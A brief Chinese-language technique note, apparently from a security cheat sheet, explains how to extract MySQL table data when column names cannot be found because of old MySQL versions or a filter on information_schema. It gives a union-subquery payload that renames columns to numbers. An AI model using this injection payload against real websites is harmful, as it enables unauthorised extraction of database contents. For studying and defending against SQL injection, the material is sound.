场景 有某些情况,可以查找到表名,但查找不到列名. MySQL < 5 或 web过滤 information_scema 详解 select `1` from (select 1,2,3,4,5,6,7,8,9,10,11,12,13 union select * from 表名)a limit 1,1 子查询中select的数目为列数. 通过列数 1,2,3... 再union带出整张表数据.这一步的目的是改变/替换字段名(替换为1,2,3,4...). 再通过select `1`带出第一列